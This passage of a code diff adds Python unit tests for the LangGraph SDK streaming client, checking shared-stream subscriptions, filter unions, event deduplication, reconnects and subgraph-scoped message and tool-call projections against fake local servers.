+ graph_name="worker", + trigger_call_id="1", + ) + # No projection iterated — _close_inboxes should leave all queues empty. + handle._close_inboxes() + assert handle._messages_inbox.qsize() == 0 + assert handle._tools_inbox.qsize() == 0 + assert handle._tasks_inbox.qsize() == 0 + + +def test_close_inboxes_enqueues_sentinel_on_iterated_inboxes(): + """_close_inboxes must push a None sentinel only on inboxes that had a consumer, + so projection iterators see the EOF signal.""" + from unittest.mock import MagicMock + + from langgraph_sdk._async.stream import ScopedStreamHandle + + fake_thread = MagicMock() + handle = ScopedStreamHandle( + thread=fake_thread, + path=("worker:1",), + graph_name="worker", + trigger_call_id="1", + ) + handle._mark_iterated("messages") + handle._close_inboxes() + # Only the messages inbox should have a sentinel. + assert handle._messages_inbox.qsize() == 1 + assert handle._messages_inbox.get_nowait() is None + assert handle._tools_inbox.qsize() == 0 + assert handle._tasks_inbox.qsize() == 0 + + +async def test_subgraph_scoped_messages_survive_shared_stream_reconnect(): + fake = FakeServer() + # Connection order (async): shared stream opens first (via _reconcile_stream), + # then the lifecycle watcher task runs. Three scripts are needed: + # 1. shared stream initial (fail_after=2 to trigger reconnect) + # 2. lifecycle watcher + # 3. shared stream reconnect (carries the message events) + fake.script_sequence( + [ + _StreamScript( + events=[ + lifecycle_started_event(seq=0), + tasks_start_event( + seq=1, namespace=["worker:abc"], task_id="t-child" + ), + ], + fail_after=2, + ), + _StreamScript( + events=[lifecycle_completed_event(seq=7)], + ), + _StreamScript( + events=[ + message_start_event( + seq=2, + namespace=["worker:abc"], + message_id="child-msg", + run_id="child-run", + ), + message_text_delta_event( + seq=3, namespace=["worker:abc"], text="child" + ), + message_text_finish_event( + seq=4, namespace=["worker:abc"], text="child" + ), + message_finish_event(seq=5, namespace=["worker:abc"]), + tasks_result_event( + seq=6, namespace=[], task_id="abc", name="worker" + ), + lifecycle_completed_event(seq=7), + ] + ), + ] + ) + async with httpx.AsyncClient( + transport=fake.transport, base_url="http://test" + ) as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + handles = [handle async for handle in thread.subgraphs] + child = handles[0] + chunks = [chunk async for chunk in child.messages] + + assert child.path == ("worker:abc",) + assert [await chunk.text for chunk in chunks] == ["child"] + assert fake.stream_request_bodies[-1]["since"] >= 1 diff --git a/libs/sdk-py/tests/streaming/test_shared_stream.py b/libs/sdk-py/tests/streaming/test_shared_stream.py new file mode 100644 index 0000000..1a96a91 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_shared_stream.py @@ -0,0 +1,358 @@ +from __future__ import annotations + +import asyncio +from collections.abc import AsyncGenerator +from typing import Any, cast + +import httpx + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from langgraph_sdk.stream.controller import StreamController +from langgraph_sdk.stream.transport.http import EventStreamHandle +from streaming._events import lifecycle_event, values_event +from streaming._fake_server import FakeServer, _StreamScript + + +async def test_shared_stream_serves_single_subscription(): + fake = FakeServer() + fake.script([lifecycle_event(seq=0), values_event(seq=1)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + await thread._reconcile_stream({"channels": ["lifecycle", "values"]}) + assert thread._shared_stream is not None + received = [ + e async for e in thread._dedup_iter(thread._shared_stream.events) + ] + methods = [e["method"] for e in received] + assert methods == ["lifecycle", "values"] + assert fake.peak_open_event_streams == 1 + + +async def test_seen_event_ids_dedupes_replayed_events(): + fake = FakeServer() + fake.script( + [ + lifecycle_event(seq=0), + lifecycle_event(seq=0), # duplicate event_id + values_event(seq=1), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + await thread._reconcile_stream({"channels": ["lifecycle", "values"]}) + assert thread._shared_stream is not None + received = [ + e async for e in thread._dedup_iter(thread._shared_stream.events) + ] + seqs = [e["seq"] for e in received] + assert seqs == [0, 1] # the duplicate seq=0 was deduped via event_id + + +async def test_rotation_when_new_subscription_widens_filter(): + fake = FakeServer() + fake.script([lifecycle_event(seq=0), values_event(seq=1)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + # First subscription: lifecycle only. + await thread._reconcile_stream({"channels": ["lifecycle"]}) + # Second subscription widens to lifecycle + values. + await thread._reconcile_stream({"channels": ["lifecycle", "values"]}) + # Rotation: two separate SSE requests were opened (old + new). + assert len(fake.stream_request_bodies) >= 2 + + +async def test_no_rotation_when_existing_filter_covers_new_subscription(): + fake = FakeServer() + fake.script([]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + await thread._reconcile_stream({"channels": ["lifecycle", "values"]}) + # New subscription is a subset — existing filter covers it. + await thread._reconcile_stream({"channels": ["values"]}) + # No rotation in the shared stream (1 shared SSE) plus 1 lifecycle watcher SSE = 2. + assert len(fake.stream_request_bodies) == 2 + + +async def test_subscribe_yields_only_matching_events(): + fake = FakeServer() + fake.script( + [ + lifecycle_event(seq=0), + values_event(seq=1), + lifecycle_event(seq=2), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + + async def drain(channels): + return [e async for e in thread.subscribe(channels)] + + lifecycle_events, values_events = await asyncio.gather( + drain(["lifecycle"]), + drain(["values"]), + ) + assert [e["seq"] for e in lifecycle_events] == [0, 2] + assert [e["seq"] for e in values_events] == [1] + + +async def test_two_concurrent_subscribes_share_one_stream(): + fake = FakeServer() + fake.script([lifecycle_event(seq=i) for i in range(5)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + + async def drain(channels): + return [e async for e in thread.subscribe(channels)] + + results = await asyncio.gather( + drain(["lifecycle"]), + drain(["lifecycle"]), + ) + assert len(results[0]) == 5 + assert len(results[1]) == 5 + # Both subscriptions share one SSE (no rotation) plus 1 lifecycle watcher SSE = 2. + assert len(fake.stream_request_bodies) == 2 + + +async def test_subscribe_does_not_leak_when_iterator_unconsumed(): + """Subscriptions register lazily on first __anext__, not at subscribe() call time. + + Why: registering eagerly would leak the subscription if the caller + constructs the iterator but never iterates it. The lazy pattern ties + registration to the generator's lifecycle, which is bounded by aclose() + / exhaustion / cancellation. + """ + fake = FakeServer() + fake.script([]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + _ = thread.subscribe(["lifecycle"]) # construct but never iterate + # Subscription is not registered yet — the generator body hasn't run. + assert len(thread._subscriptions) == 0 + + +async def test_values_projection_registers_via_delegation_not_controller_directly(): + """Values projection must register subscriptions through AsyncThreadStream delegation wrappers. + + Verifies that subscriptions created by `thread.values` are visible via + `thread._subscriptions` (the delegated property) and also accessible in + `thread._controller._subscriptions`, confirming both views are consistent. + The test also confirms that the `_ValuesProjection` never bypasses + `AsyncThreadStream._register_subscription` to write to the controller + directly — the subscription count seen through the thread wrapper equals + the count inside the controller at the moment the subscription is live. + """ + from streaming._events import lifecycle_completed_event + + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=0)]) + fake.set_state({"ok": True}) + asgi = httpx.ASGITransport(app=fake.app) + counts_during: list[tuple[int, int]] = [] + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + raw_controller = thread._controller + assert raw_controller is not None + # `_controller` returns `self` (AsyncThreadStream) as a duck-typed + # controller surface; StreamController is parallel groundwork + # used elsewhere. + controller: StreamController = raw_controller # ty: ignore[invalid-assignment] + + assert len(thread._subscriptions) == 0 + + # Collect counts while the subscription is live (first snapshot only). + aiter: AsyncGenerator[Any, None] = cast( + "AsyncGenerator[Any, None]", thread.values.__aiter__() + ) + # Advance to first item — subscription must be registered by now. + await aiter.__anext__() + counts_during.append( + (len(thread._subscriptions), len(controller._subscriptions)) + ) + # Close the iterator explicitly so the finally block runs immediately. + await aiter.aclose() + + # Both views must have agreed — no bypass of the delegation wrapper. + assert len(counts_during) == 1 + thread_count, ctrl_count = counts_during[0] + assert thread_count == ctrl_count + assert thread_count >= 1 + + +def _make_handle( + events: list[dict[str, Any]], + err: BaseException | None = None, +) -> tuple[EventStreamHandle, asyncio.Queue]: + """Build a synthetic EventStreamHandle for reconnect tests. + + Returns the handle and the underlying queue so callers can inject events + or the end sentinel directly from test code. + """ + loop = asyncio.get_running_loop() + ready: asyncio.Future[None] = loop.create_future() + done: asyncio.Future[BaseException | None] = loop.create_future() + queue: asyncio.Queue = asyncio.Queue() + + async def _pump() -> None: + ready.set_result(None) + for event in events: + await queue.put(event) + done.set_result(err) + await queue.put(None) # sentinel + + asyncio.create_task(_pump()) # noqa: RUF006 + + async def _aiter(): + while True: + item = await queue.get() + if item is None: + return + yield item + + async def _close() -> None: + if not done.done(): + done.set_result(None) + await queue.put(None) + + return EventStreamHandle( + events=_aiter(), ready=ready, done=done, close=_close + ), queue + + +async def test_shared_stream_reconnects_with_since_after_transport_drop(): + """StreamController reopens the stream with `since` after a post-ready drop.""" + opened_params: list[dict[str, Any]] = [] + + handle1, _ = _make_handle( + [values_event(seq=1, values={"counter": 1})], + err=RuntimeError("scripted async stream failure"), + ) + handle2, _ = _make_handle([values_event(seq=2, values={"counter": 2})]) + handles = [handle1, handle2] + + from unittest.mock import MagicMock + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + transport = MagicMock(spec=ProtocolSseTransport) + + def _open(params: dict[str, Any]) -> EventStreamHandle: + opened_params.append(dict(params)) + return handles.pop(0) + + transport.open_event_stream.side_effect = _open + + async def gate() -> None: + return None + + controller = StreamController(transport=transport, run_start_gate=gate) + sub = controller.register_subscription({"channels": ["values"]}) + await controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + first = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + second = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + end = await asyncio.wait_for(sub.queue.get(), timeout=1.0) + await controller.close() + + assert first["seq"] == 1 + assert second["seq"] == 2 + assert end is None + assert opened_params[0]["channels"] == ["values"] + assert "since" not in opened_params[0] + assert opened_params[1]["channels"] == ["values"] + assert opened_params[1]["since"] == 1 + + +async def test_shared_stream_reconnect_dedupes_replayed_overlap(): + """StreamController deduplicates events replayed on reconnect.""" + handle1, _ = _make_handle( + [values_event(seq=1, values={"counter": 1})], + err=RuntimeError("scripted async stream failure"), + ) + handle2, _ = _make_handle( + [ + values_event(seq=1, values={"counter": 1}), # replayed overlap + values_event(seq=2, values={"counter": 2}), + ] + ) + handles = [handle1, handle2] + + from unittest.mock import MagicMock + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + transport = MagicMock(spec=ProtocolSseTransport) + transport.open_event_stream.side_effect = lambda _params: handles.pop(0) + + async def gate() -> None: + return None + + controller = StreamController(transport=transport, run_start_gate=gate) + sub = controller.register_subscription({"channels": ["values"]}) + await controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + received = [ + await asyncio.wait_for(sub.queue.get(), timeout=1.0), + await asyncio.wait_for(sub.queue.get(), timeout=1.0), + await asyncio.wait_for(sub.queue.get(), timeout=1.0), + ] + await controller.close() + + assert [event["seq"] for event in received if event is not None] == [1, 2] + assert received[-1] is None + + +async def test_send_command_applied_through_seq_seeds_shared_stream_since(): + fake = FakeServer() + fake.script_sequence([_StreamScript(events=[]), _StreamScript(events=[])]) + fake.script_command_response( + { + "type": "success", + "id": None, + "result": {"run_id": "run-1"}, + "meta": {"applied_through_seq": 17}, + } + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + _ = [event async for event in thread.subscribe(["values"])] + + # The shared SSE filter is a union of subscription params plus + # ``lifecycle`` (added by ``_compute_current_union`` so the fanout + # consumer can detect root-terminal events for projection-iterator + # termination). Match any request whose channels include ``values``. + values_requests = [ + b for b in fake.stream_request_bodies if "values" in (b.get("channels") or []) + ] + assert len(values_requests) == 1 + assert values_requests[0]["since"] == 17 diff --git a/libs/sdk-py/tests/streaming/test_subscription.py b/libs/sdk-py/tests/streaming/test_subscription.py new file mode 100644 index 0000000..3d3878d --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_subscription.py @@ -0,0 +1,264 @@ +from __future__ import annotations + +import pytest +from langchain_protocol import ( + Channel as ProtocolChannel, +) +from langchain_protocol import ( + Event as ProtocolEvent, +) +from langchain_protocol import ( + Namespace as ProtocolNamespace, +) +from langchain_protocol import ( + SubscribeParams as ProtocolSubscribeParams, +) + +from langgraph_sdk.stream import ( + Channel, + Event, + Namespace, + SubscribeParams, +) +from langgraph_sdk.stream.subscription import ( + compute_union_filter, + filter_covers, + infer_channel, + is_prefix_match, + matches_subscription, + namespace_matches, + normalize_segment, +) +from streaming._events import ( + custom_event, + lifecycle_event, + values_event, +) + + +def test_normalize_segment_strips_suffix_after_colon(): + assert normalize_segment("fetcher:abc-uuid") == "fetcher" + + +def test_normalize_segment_passes_through_when_no_colon(): + assert normalize_segment("fetcher") == "fetcher" + + +def test_is_prefix_match_empty_prefix_matches_anything(): + assert is_prefix_match(["a", "b"], []) is True + + +def test_is_prefix_match_exact_literal_match(): + assert is_prefix_match(["fetcher", "inner"], ["fetcher"]) is True + + +def test_is_prefix_match_strips_runtime_suffix_when_prefix_is_static(): + assert is_prefix_match(["fetcher:abc-uuid", "inner"], ["fetcher"]) is True + + +def test_is_prefix_match_keeps_colons_in_prefix_literal(): + # When the prefix itself contains a colon it is treated as exact. + assert is_prefix_match(["fetcher:abc"], ["fetcher:abc"]) is True + assert is_prefix_match(["fetcher:xyz"], ["fetcher:abc"]) is False + + +def test_is_prefix_match_returns_false_when_prefix_longer(): + assert is_prefix_match(["a"], ["a", "b"]) is False + + +def test_namespace_matches_no_prefixes_matches_anything(): + assert namespace_matches(["any", "ns"], None, None) is True + assert namespace_matches(["any", "ns"], [], None) is True + + +def test_namespace_matches_with_depth_limit(): + assert namespace_matches(["a", "b"], [["a"]], 1) is True + assert namespace_matches(["a", "b", "c"], [["a"]], 1) is False + + +@pytest.mark.parametrize( + ("method", "expected_channel"), + [ + ("values", "values"), + ("checkpoints", "checkpoints"), + ("updates", "updates"), + ("messages", "messages"), + ("tools", "tools"), + ("lifecycle", "lifecycle"), + ("tasks", "tasks"), + ("input.requested", "input"), + ], +) +def test_infer_channel_for_each_method(method, expected_channel): + event = { + "type": "event", + "method": method, + "params": {"namespace": [], "data": {}}, + "seq": 0, + "event_id": "e", + } + assert infer_channel(event) == expected_channel # ty: ignore[invalid-argument-type] + + +def test_infer_channel_custom_with_name_produces_namespaced_channel(): + assert infer_channel(custom_event(name="my_ext")) == "custom:my_ext" # ty:ignore[invalid-argument-type] + + +def test_infer_channel_custom_without_name_falls_back_to_bare_custom(): + assert infer_channel(custom_event(name="")) == "custom" # ty:ignore[invalid-argument-type] + + +def test_infer_channel_unknown_method_returns_none(): + assert ( + infer_channel( + { + "type": "event", + "method": "unknown", + "params": {"namespace": [], "data": {}}, + "seq": 0, + "event_id": "e", + } # ty:ignore[invalid-argument-type] + ) + is None + ) + + +def test_matches_subscription_channel_in_filter(): + sub = {"channels": ["values"]} + assert matches_subscription(values_event(), sub) is True # ty:ignore[invalid-argument-type] + assert matches_subscription(lifecycle_event(), sub) is False # ty:ignore[invalid-argument-type] + + +def test_matches_subscription_bare_custom_covers_namespaced_custom(): + sub = {"channels": ["custom"]} + assert matches_subscription(custom_event(name="my_ext"), sub) is True # ty:ignore[invalid-argument-type] + + +def test_matches_subscription_namespace_filter_applied(): + sub = {"channels": ["values"], "namespaces": [["fetcher"]]} + assert ( + matches_subscription(values_event(namespace=["fetcher", "inner"]), sub) is True # ty:ignore[invalid-argument-type] + ) + assert matches_subscription(values_event(namespace=["other"]), sub) is False # ty:ignore[invalid-argument-type] + + +def test_matches_subscription_bare_custom_event_matches_bare_custom_filter(): + sub = {"channels": ["custom"]} + assert matches_subscription(custom_event(name=""), sub) is True # ty: ignore[invalid-argument-type] + + +def test_compute_union_filter_merges_channels(): + a = {"channels": ["values"]} + b = {"channels": ["messages", "lifecycle"]} + result = compute_union_filter([a, b]) + assert set(result["channels"]) == {"values", "messages", "lifecycle"} + + +def test_compute_union_filter_drops_namespaces_when_any_subscription_is_unscoped(): + a = {"channels": ["values"], "namespaces": [["fetcher"]]} + b = {"channels": ["messages"]} # no namespaces == wildcard + result = compute_union_filter([a, b]) + # If any subscription is unscoped, the union must be unscoped. + assert "namespaces" not in result or result.get("namespaces") is None + + +def test_compute_union_filter_unions_namespaces_when_all_scoped(): + a = {"channels": ["values"], "namespaces": [["fetcher"]]} + b = {"channels": ["messages"], "namespaces": [["scorer"]]} + result = compute_union_filter([a, b]) + assert sorted(result["namespaces"]) == [["fetcher"], ["scorer"]] + + +def test_compute_union_filter_takes_max_depth(): + a = {"channels": ["values"], "depth": 1} + b = {"channels": ["messages"], "depth": 3} + result = compute_union_filter([a, b]) + assert result["depth"] == 3 + + +def test_compute_union_filter_omits_depth_when_any_subscription_omits(): + a = {"channels": ["values"], "depth": 2} + b = {"channels": ["messages"]} # no depth == unbounded + result = compute_union_filter([a, b]) + assert "depth" not in result or result.get("depth") is None + + +def test_compute_union_filter_empty_input_returns_empty_channel_filter(): + result = compute_union_filter([]) + assert result == {"channels": []} + + +def test_filter_covers_same_filter(): + f = {"channels": ["values", "messages"]} + assert filter_covers(f, f) is True + + +def test_filter_covers_superset_channels(): + coverer = {"channels": ["values", "messages", "lifecycle"]} + target = {"channels": ["values", "messages"]} + assert filter_covers(coverer, target) is True + + +def test_filter_covers_missing_channel(): + coverer = {"channels": ["values"]} + target = {"channels": ["values", "messages"]} + assert filter_covers(coverer, target) is False + + +def test_filter_covers_unscoped_covers_scoped(): + coverer = {"channels": ["values"]} # wildcard namespaces + target = {"channels": ["values"], "namespaces": [["fetcher"]]} + assert filter_covers(coverer, target) is True + + +def test_filter_covers_scoped_does_not_cover_unscoped(): + coverer = {"channels": ["values"], "namespaces": [["fetcher"]]} + target = {"channels": ["values"]} # wildcard + assert filter_covers(coverer, target) is False + + +def test_filter_covers_depth_with_namespace_offset(): + # Coverer at depth 1 from ["agent"] reaches ["agent", X]. + # Target needs depth 1 from ["agent", "tool"] — i.e., ["agent", "tool", X]. + # That's 2 levels past coverer's prefix, but coverer only allows 1. + coverer = {"channels": ["values"], "namespaces": [["agent"]], "depth": 1} + target = { + "channels": ["values"], + "namespaces": [["agent", "tool"]], + "depth": 1, + } + assert filter_covers(coverer, target) is False + + +def test_filter_covers_depth_with_offset_enough_depth(): + # Same setup but coverer depth=2 absorbs the offset. + coverer = {"channels": ["values"], "namespaces": [["agent"]], "depth": 2} + target = { + "channels": ["values"], + "namespaces": [["agent", "tool"]], + "depth": 1, + } + assert filter_covers(coverer, target) is True + + +def test_filter_covers_unscoped_coverer_with_bounded_depth(): + # Coverer is unscoped; depth comparison is the simple scalar form. + coverer = {"channels": ["values"], "depth": 2} + target = {"channels": ["values"], "depth": 1} + assert filter_covers(coverer, target) is True + target_too_deep = {"channels": ["values"], "depth": 3} + assert filter_covers(coverer, target_too_deep) is False + + +def test_filter_covers_bounded_coverer_does_not_cover_unbounded_target(): + coverer = {"channels": ["values"], "depth": 2} + target = {"channels": ["values"]} # unbounded + assert filter_covers(coverer, target) is False + + +def test_protocol_types_are_importable_from_stream_module(): + """Test that v3 protocol types are re-exported from langgraph_sdk.stream.""" + assert Channel is ProtocolChannel + assert Event is ProtocolEvent + assert Namespace is ProtocolNamespace + assert SubscribeParams is ProtocolSubscribeParams diff --git a/libs/sdk-py/tests/streaming/test_sync_extensions_projection.py b/libs/sdk-py/tests/streaming/test_sync_extensions_projection.py new file mode 100644 index 0000000..808846a --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_sync_extensions_projection.py @@ -0,0 +1,57 @@ +from __future__ import annotations + +import httpx + +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.threads import SyncThreadsClient +from streaming._events import custom_event, lifecycle_completed_event +from streaming._sync_fake_server import SyncFakeServer + + +def test_sync_extension_projection_yields_matching_custom_payloads(): + fake = SyncFakeServer() + fake.script( + [ + custom_event(seq=1, name="progress", step=1), + custom_event(seq=2, name="metrics", tokens=12), + custom_event(seq=3, name="progress", step=2), + lifecycle_completed_event(seq=4), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + payloads = list(thread.extensions["progress"]) + + assert payloads == [ + {"name": "progress", "step": 1}, + {"name": "progress", "step": 2}, + ] + assert "custom:progress" in fake.stream_request_bodies[-1]["channels"] + + +def test_sync_extension_projection_supports_namespace_scope_on_subgraph_handle(): + fake = SyncFakeServer() + fake.script( + [ + custom_event(seq=1, name="progress", namespace=["worker:abc"], step=1), + custom_event(seq=2, name="progress", namespace=[], step=0), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + from langgraph_sdk._sync.stream import SyncScopedStreamHandle + + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + handle = SyncScopedStreamHandle( + thread=thread, + path=("worker:abc",), + graph_name="worker", + trigger_call_id=None, + ) + payloads = list(handle.extensions["progress"]) + + assert payloads == [{"name": "progress", "step": 1}] diff --git a/libs/sdk-py/tests/streaming/test_sync_projections.py b/libs/sdk-py/tests/streaming/test_sync_projections.py new file mode 100644 index 0000000..0770879 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_sync_projections.py @@ -0,0 +1,640 @@ +"""Sync v3 streaming projection tests.""" + +from __future__ import annotations + +from typing import Any, cast + +import httpx +import pytest +from langchain_core.language_models.chat_model_stream import ChatModelStream +from langchain_protocol import Event + +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.threads import SyncThreadsClient +from streaming._events import ( + lifecycle_completed_event, + lifecycle_errored_event, + lifecycle_started_event, + message_error_event, + message_finish_event, + message_start_event, + message_text_delta_event, + message_text_finish_event, + tasks_result_event, + tasks_start_event, + tool_error_event, + tool_finished_event, + tool_output_delta_event, + tool_started_event, +) +from streaming._sync_fake_server import SyncFakeServer, SyncStreamScript + + +def test_sync_values_first_yield_is_rest_state_and_output_returns_final_state(): + fake = SyncFakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + fake.set_state({"answer": 42}) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + first = next(iter(thread.values)) + output = thread.output + + assert first == {"answer": 42} + assert output == {"answer": 42} + + +def test_sync_messages_yield_chat_model_stream(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-1"), + message_text_delta_event(seq=2, text="hi", message_id="msg-1"), + message_text_finish_event(seq=3, text="hi", message_id="msg-1"), + message_finish_event(seq=4, message_id="msg-1"), + lifecycle_completed_event(seq=5), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + messages = list(thread.messages) + + assert len(messages) == 1 + assert isinstance(messages[0], ChatModelStream) + assert messages[0].message_id == "msg-1" + assert str(messages[0].text) == "hi" + assert messages[0].output.id == "msg-1" + + +def test_sync_tool_calls_yield_handle_deltas_and_output(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1", tool_name="search"), + tool_output_delta_event(seq=2, tool_call_id="call-1", delta="a"), + tool_output_delta_event(seq=3, tool_call_id="call-1", delta="b"), + tool_finished_event(seq=4, tool_call_id="call-1", output={"ok": True}), + lifecycle_completed_event(seq=5), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + calls = list(thread.tool_calls) + + assert [call.tool_call_id for call in calls] == ["call-1"] + assert list(calls[0].deltas) == ["a", "b"] + assert calls[0].output == {"ok": True} + + +# --------------------------------------------------------------------------- +# Task 10.6 — messages pre-dispatch inner loop must filter by namespace +# --------------------------------------------------------------------------- + + +def test_sync_messages_ignores_nested_namespace_for_root_projection(): + """Root projection must not yield messages from child namespaces.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, namespace=["child:1"], message_id="nested"), + message_text_delta_event(seq=2, namespace=["child:1"], text="nested"), + message_finish_event(seq=3, namespace=["child:1"]), + lifecycle_completed_event(seq=4), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + messages = list(thread.messages) + + assert messages == [] + + +# --------------------------------------------------------------------------- +# Task 10.7 — comprehensive sync messages projection tests +# --------------------------------------------------------------------------- + + +def test_sync_messages_multiple_messages_are_distinct_streams(): + """Two sequential messages produce two separate ChatModelStream objects.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-1"), + message_text_delta_event(seq=2, text="one", message_id="msg-1"), + message_text_finish_event(seq=3, text="one", message_id="msg-1"), + message_finish_event(seq=4, message_id="msg-1"), + message_start_event(seq=5, message_id="msg-2"), + message_text_delta_event(seq=6, text="two", message_id="msg-2"), + message_text_finish_event(seq=7, text="two", message_id="msg-2"), + message_finish_event(seq=8, message_id="msg-2"), + lifecycle_completed_event(seq=9), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + streams = list(thread.messages) + + assert [s.message_id for s in streams] == ["msg-1", "msg-2"] + assert [str(s.text) for s in streams] == ["one", "two"] + + +def test_sync_messages_error_event_fails_active_stream(): + """A messages `error` event marks the stream as failed.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-1"), + message_error_event(seq=2, message="model failed", message_id="msg-1"), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + streams = list(thread.messages) + + assert len(streams) == 1 + with pytest.raises(RuntimeError, match="model failed"): + _ = streams[0].output + + +def test_sync_subgraph_scoped_messages_and_tool_calls(): + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + message_start_event( + seq=2, + namespace=["worker:abc"], + message_id="msg-child", + run_id="run-child", + ), + message_text_delta_event(seq=3, namespace=["worker:abc"], text="child"), + message_text_finish_event(seq=4, namespace=["worker:abc"], text="child"), + message_finish_event(seq=5, namespace=["worker:abc"]), + tool_started_event( + seq=6, + namespace=["worker:abc"], + tool_call_id="call-child", + tool_name="search", + ), + tool_output_delta_event( + seq=7, + namespace=["worker:abc"], + tool_call_id="call-child", + delta="delta", + ), + tool_finished_event( + seq=8, + namespace=["worker:abc"], + tool_call_id="call-child", + output={"child": True}, + ), + tasks_result_event(seq=9, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=10), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [handle] = list(thread.subgraphs) + child_messages = list(handle.messages) + child_calls = list(handle.tool_calls) + + assert handle.status == "completed" + assert handle.path == ("worker:abc",) + assert [message.message_id for message in child_messages] == ["msg-child"] + assert [str(message.text) for message in child_messages] == ["child"] + assert [call.tool_call_id for call in child_calls] == ["call-child"] + assert list(child_calls[0].deltas) == ["delta"] + assert child_calls[0].output == {"child": True} + + +def test_sync_subgraph_scoped_messages_survive_shared_stream_reconnect(): + fake = SyncFakeServer() + # Connection order (sync): lifecycle watcher thread opens first (it is started + # in __enter__ and races ahead during 